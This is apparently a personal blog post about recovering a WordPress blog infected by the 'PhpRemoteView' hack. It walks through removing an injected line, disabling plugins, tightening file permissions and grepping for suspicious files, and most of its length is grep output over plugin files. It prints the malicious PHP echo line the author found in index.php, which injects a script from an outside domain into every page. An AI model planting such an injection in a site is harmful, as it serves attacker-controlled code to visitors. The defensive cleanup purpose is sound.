Hello guys.
An annoying morning I had today
Checking my blog I saw a very unpleasant popup comming from my blog:
yes, I’m another victim of some hacker. but there are things we can do to counter this problem. PhpRemoteView is a hack attack well known for many people that owns wordpress blogs and a complete headache for tech support guys. Even wordpress guys does not give a clear answer about the problem.
But not worries, I find out what we need to do to rescue your blogs (and mine included). The first think we need to do is to check the sourcecode of the output page looking for something very unusual. I got an unusualcode from the bottom of my html
<script type="text/javascript" language="javascript" src="http://superpuperdomain.com/count.php?ref=http%3A%2F%2Fwww.tbogard.com%2Fwp-admin%2Findex.php"></script>
then go and browse the index.php on the root of your blog and remove the last line:
echo'<script type="text/javascript" language="javascript" src="http://superpuperdomain.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']) .'"></script>';
So one code down, nevertheless I still had that annoying phpRemoteView comming from my blog. I checked out my Network traffic and seems everything was working fine (sorry, no screenshot of that moment). As far my research is going, thanks to jason cosper I figured out that one of the plugins is making the trouble. So I renamed my plugins directory to plugins.bak, and voila! the site is back and able to access the WP back! No RemotePHPView login and full access to my WordPress Administration backend
.
Nevertheless I had a couple of bad feelings. My first concern is security issues. So we need to make a general chmod to the directory. if you are the ones that uses 0777 on every file, you are asking for a easy dead. The first thing is secure your directory:
if you are root in ubuntu, do this favor to your wordpress blog and run a chmod to all your files in your blog installation:
chmod -R 0755 /www/wordpress/www.tbogard.com
My second is to find from where and when PhpRemote are being loaded somewhere in the blog, the text PhpRemote is being loaded, so lets look for it:
grep -r "PhpRemoteView" /www/wordpress/www.tbogard.com
(note : when you do a recursive grep, avoid to add a slash to the end of your wordpress blog directory, otherwise it wont work)
Aha!! there are two files with this message :
- /wp-admin/js/config.php
/wp-admin/common.php
update, thanks to Techspheria
there are additioonal files to look for:
- /wp-admin/udp.php
- /wp-content/udp.php
- /wp-content/uploads/feed-file.php
- /wp-content/uploads/feed-files.php
so lets search what files in my plugins.bak directory are loading such files.
grep -r “config.php” /www/wordpress/www.tbogard.com/wp-content/plugins.bak
A grep to “common.php” and “config.php” give me this results
| common.php: Warning : a Medium size chunk of code | SelectShow> |
|---|---|
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/readme.txt:* Updated common.php and some other maintenance.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:79
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:80
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:83
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:90
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:96
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:102
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:108
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:114
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:120
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:126
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:#: common.php:132
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:77
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:78
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:81
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:88
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:94
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:100
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:106
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:112
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:118
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:124
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:#: common.php:130
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/wp-minify.php:require_once('common.php');
| |
A grep to “config.php” give me this results
| config.php: Warning : a huge size chunk of code | SelectShow> |
|---|---|
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/post-views/post-views.php: require_once($wp_root.'/wp-config.php');
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/ezpz-one-click-backup/ezpz-ocb.php: $file_base = ABSPATH . "/wp-config.php";
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/ezpz-one-click-backup/ezpz-ocb.php: $def_file_base = ABSPATH . "/wp-config.php";
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/readme.txt:* Fixed incomplete /min/config.php file.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/index.php: * DO NOT EDIT! Configure this utility via config.php and groupsConfig.php
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/index.php:require MINIFY_MIN_DIR . '/config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/README.txt:It's recommended to edit config.php to set $min_cachePath to a writeable
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/README.txt:$min_serveOptions['minApp']['allowDirs'] array in config.php. E.g. to limit
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/README.txt:file. To enable this, set $min_allowDebugFlag to true in config.php and append
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/builder/index.php:require dirname(__FILE__) . '/../config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/builder/index.php:in /min/config.php to improve performance.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/builder/index.php: ,filemtime(dirname(__FILE__) . '/../config.php')
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/min/builder/ocCheck.php:require dirname(__FILE__) . '/../config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:msgid "Minify Engine config.php is not writable. Please grant your server write permissions to file"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:msgstr "Il Minify Engine config.php non é scrivibile. Apporta le modifiche ai permessi chmod del file"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:msgid "Minify Engine config.php was configured automatically."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.po:msgstr "Il Minify Engine config.php é stato configurato automaticamente."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:msgid "Minify Engine config.php is not writable. Please grant your server write permissions to file"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify.pot:msgid "Minify Engine config.php was configured automatically."
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/lang/wp-minify-it_IT.mo matches
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/wp-minify.php: if ($this->c->a_check_dir_writable($this->c->get_plugin_dir().'min/config.php', array($this, 'a_notify_config_not_writable'))) {
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/wp-minify.php: $fname = $this->c->get_plugin_dir().'min/config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/wp-minify.php: $fname = $this->c->get_plugin_dir().'min/config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/wp-minify.php: __('Minify Engine config.php is not writable. Please grant your server write permissions to file', $this->name),
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/wp-minify.php: $this->c->get_plugin_dir().'min/config.php'));
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-minify/wp-minify.php: $this->c->a_notify(__('Minify Engine config.php was configured automatically.', $this->name));
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:2. If you have WP-Cache installed already, please disable it. Edit wp-config.php and make sure the WP_CACHE define is deleted, and remove the files wp-content/wp-cache-config.php and wp-content/advanced-cache.php. These will be recreated when you install this plugin.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:3. Remove the WP_CACHE define from wp-config.php. It looks like `define( 'WP_CACHE', true );`
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:5. Remove the files wp-content/advanced-cache.php and wp-content/wp-cache-config.php
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:1. Remove the WP_CACHE define from wp-config.php. It looks like `define( 'WP_CACHE', true );`
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:4. Optionally delete advanced-cache.php, wp-cache-config.php and the cache folder in wp-content/.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:That will include file.php under the ABSPATH directory, which is the same as where your wp-config.php file is located.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:Cached files are served before almost all of WordPress is loaded. While that's great for performance it's a pain when you want to extend the plugin using a core part of WordPress. Set $wp_super_cache_late_init to "1" in wp-content/wp-cache-config.php and cached files will be served when "init" fires. WordPress and it's plugins will be loaded now. This is very useful when you are using the mfunc tag in your theme.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:= How do I delete the WP_CACHE define from wp-config.php? =
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:Load your desktop ftp client and connect to your site. Navigate to the root (or the directory below it) of your site where you'll find wp-config.php. Download that file and edit it in a text editor. Delete the line `define( 'WP_CACHE', true );` and save the file. Now upload it, overwriting the wp-config.php on your server.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:2. Is there a wp-content/wp-cache-config.php ? If not, copy the file wp-super-cache/wp-cache-config-sample.php to wp-content/wp-cache-config.php and make sure WPCACHEHOME points at the right place.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:5. Make sure the following line is in wp-config.php and it is ABOVE the "require_once(ABSPATH.'wp-settings.php');" line:
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:12. Private Server users at Dreamhost should edit wp-content/wp-cache-config.php and set the cache dir to "/tmp/" if they are getting errors about increasing CPU usage. See this [discussion](http://wordpress.org/support/topic/145895?replies=42) for more.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:13. File locking errors such as "failed to acquire key 0x152b: Permission denied in..." or "Page not cached by WP Super Cache. Could not get mutex lock." are a sign that you may have to use file locking. Edit wp-content/wp-cache-config.php and uncomment "$use_flock = true" or set $sem_id to a different value. You can also disable file locking from the Admin screen as a last resort.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:20. If supercache cache files are generated but not served, check the permissions on all your wp-content/cache/supercache folders (and each of wp-content cache and supercache folders) and wp-content/cache/.htaccess. If your PHP runs as a different user to Apache and permissions are strict Apache may not be able to read the PHP generated cache files. To fix you must add the following line to your wp-config.php (Add it above the WP_CACHE define.) Then clear your cache.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/readme.txt:If that doesn't work, add this line to your wp-config.php:
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache-phase1.php:if( !include( WP_CONTENT_DIR . '/wp-cache-config.php' ) )
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgstr "請以 wp-super-cache/wp-cache-config-sample.php 建立 %s /wp-cache-config.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgstr "WP Super Cache 設定檔 <code>%s/wp-cache-config.php</code> 無法修改。該檔案必須可以從伺服器端進行寫入。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgstr "如果移除這個外掛,請確認目錄 <em>%s</em> 為伺服器可以寫入,<em>advanced-cache.php</em> 和 <em>cache-config.php</em> 檔案會自動刪除。(確認這些檔案是可寫入的,也是個好主意!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgstr "</pre>
<h3>WP_CACHE變數被設為false</h3>
<pre>WP_CACHE變數被WordPress用來載入快取程式,可是它被設為false(關閉)。請編輯你的wp-config.php檔並把以下的內容放在最後的require_once命令之前。
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgstr "<strong>錯誤:</strong>在你的 <code>wp-config.php</code> 檔案裡 <strong>WP_CACHE 是停用狀態</strong>,且無法修改。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.po:msgstr "</pre>
<h3>WP_CACHE 不斷被新增到 wp-config.php</h3>
<pre>如果你持續看到此警告訊息,請參閱 <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a> 第五點。WP_CACHE 原始碼必須往前移動。"
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.mo matches
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.mo matches
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.mo matches
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgstr "Var vänlig skapa %s /wp-cache-config.php från wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgstr "WP Super Cache-konfigurationsfilen är <code>%s/wp-cache-config.php</code> och kan inte ändras. Den filen måste vara skrivbar av web-servern för att kunna göra några ändringar."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgstr "Om du avinstallerar det här tillägget, kontrollera att katalogen <em>%s</em> är skrivbar av webservern så att filerna <em>advanced-cache.php</em> och <em>cache-config.php</em> kan raderas automatiskt. (Att kontrollera att dessa filer är skrivbara är antagligen också en bra idé) "
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgstr "</pre>
<h3>WP_CACHE-konstanten är sat till falskt</h3>
<pre>WP_CACHE-konstanten används av WordPress för att ladda koden som presenteras cachade sidor. Tyvärr är den satt till falskt. Var vänlig redigera din wp-config.php och lägg till eller redigera följande rad ovanför det sista require_once-kommandot:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgstr "<strong>Fel: WP_CACHE är inte aktiverad</strong> i din <code>wp-config.php</code> fil och jag kunde inte ändra den."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.po:msgstr "</pre>
<h3>WP_CACHE konstant tillagd i wp-config.php</h3>
<pre>Om du fortsätter att se det här varningsmeddelandetvar vänlig läs punkt 5 i <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. WP_CACHE raden måste flyttas upp."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgstr "Bitte erstelle %s /wp-cache-config.php aus der wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgstr "Die WP-Super-Cache Konfigurationsdatei <code>%s/wp-cache-config.php</code> kann nicht bearbeitet werden. Für jegliche Änderung muss der Webserver Schreibrechte für die Datei besitzen."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgstr "Wenn Du das Plugin deinstallierst, stelle sicher dass Verzeichnis <em>%s</em> für den Webserver beschreibbar ist, so das die Dateien <em>advanced-cache.php</em> und <em>cache-config.php</em> automatisch entfernt werden können. (..die Dateien ebenfalls beschreibbar zu machen ist dabei eine gute Idee!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgstr "</pre>
<h3>WP_CACHE-Konstante auf \"False\" gesetzt</h3>
<pre>Die WP_CACHE-Konstante wird von WordPress genutzt, um den Code der Cache-Seiten erstellt zu laden. Unglücklicherweise ist das auf \"Nein\" gestellt. Bitte bearbeite deine wp-config.php und ändere bzw. füge die folgende Zeile oberhalb der abschliessenden \"require_once\"-Anweisung dazu:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgstr "<strong>Fehler: WP_CACHE ist nicht aktiviert</strong> in deiner <code>wp-config.php</code> und ich kann sie nicht modifizieren."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-de_DE.po:msgstr "</pre>
<h3>WP_CACHE-Konstante zu wp-config.php hinzugefügt</h3>
<pre>Wenn diese Warnung wiederholt angezeigt wird, lese bitte zu Punkt 5 in den <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a> nach. Die WP_CACHE-Zeile muss nach oben verschoben werden.\"
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgstr "请以 wp-super-cache/wp-cache-config-sample.php 建立 %s /wp-cache-config.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgstr "WP Super Cache 设置文件 <code>%s/wp-cache-config.php</code> 无法修改。该文件必须可以从服务器端进行写入。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgstr "如果卸载这个插件,请确认目录 <em>%s</em> 可以被服务器写入,<em>advanced-cache.php</em> 和 <em>cache-config.php</em> 文件会自动删除。(确认这些文件也可写入,这样也不错)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgstr "<strong>错误:</strong>在您的 <code>wp-config.php</code> 文件里 <strong>WP_CACHE 是停用状态</strong>,且无法修改。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.po:msgstr "</pre>
<h3>WP_CACHE 不断被新增到 wp-config.php</h3>
<pre>如果您一直都能看到这条警告讯息,请参阅 <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a> 第五条。源代码中 WP_CACHE 所在行必须前移。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgstr "Crea %s /wp-cache-config.php da wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgstr "Il file di configurazione di WP Super Cache é <code>%s/wp-cache-config.php</code> e non può essere modificato. Affinché possa essere modicato, il file in questione deve essere scrivibile."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgstr "Qualora desiderassi disinstallare questo plugin, assicurati che la cartella <em>%s</em> sia scrivibile in modo tale che i file <em>advanced-cache.php</em> e <em>cache-config.php</em> possano venire cancellati automaticamente. (l'accertarsi che anche questi due file siano scrivibile é probabilmente una buona idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgstr "</pre>
<h3>Costante WP_CACHE impostata a false</h3>
<pre>La costante WP_CACHE viene utilizzata da WordPress per caricare il codice necessario per servire le pagine in cache. Sfortunatamente, l'impostazione é a false. Modifica il tuo wp-config.php ed aggiungi o modifica la seguente linea al di sopra del comando require_once:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgstr "<strong>Errore: WP_CACHE non é attivo</strong> nel tuo file <code>wp-config.php</code> ed il plugin non é in grado di modificarlo."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-it_IT.po:msgstr "</pre>
<h3>La costante WP_CACHE é stata aggiunta al file wp-config.php</h3>
<pre>Nel caso in cui continuassi a visualizzare questo messaggio consulta il punto 5 delle <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. La riga WP_CACHE deve essere spostata."
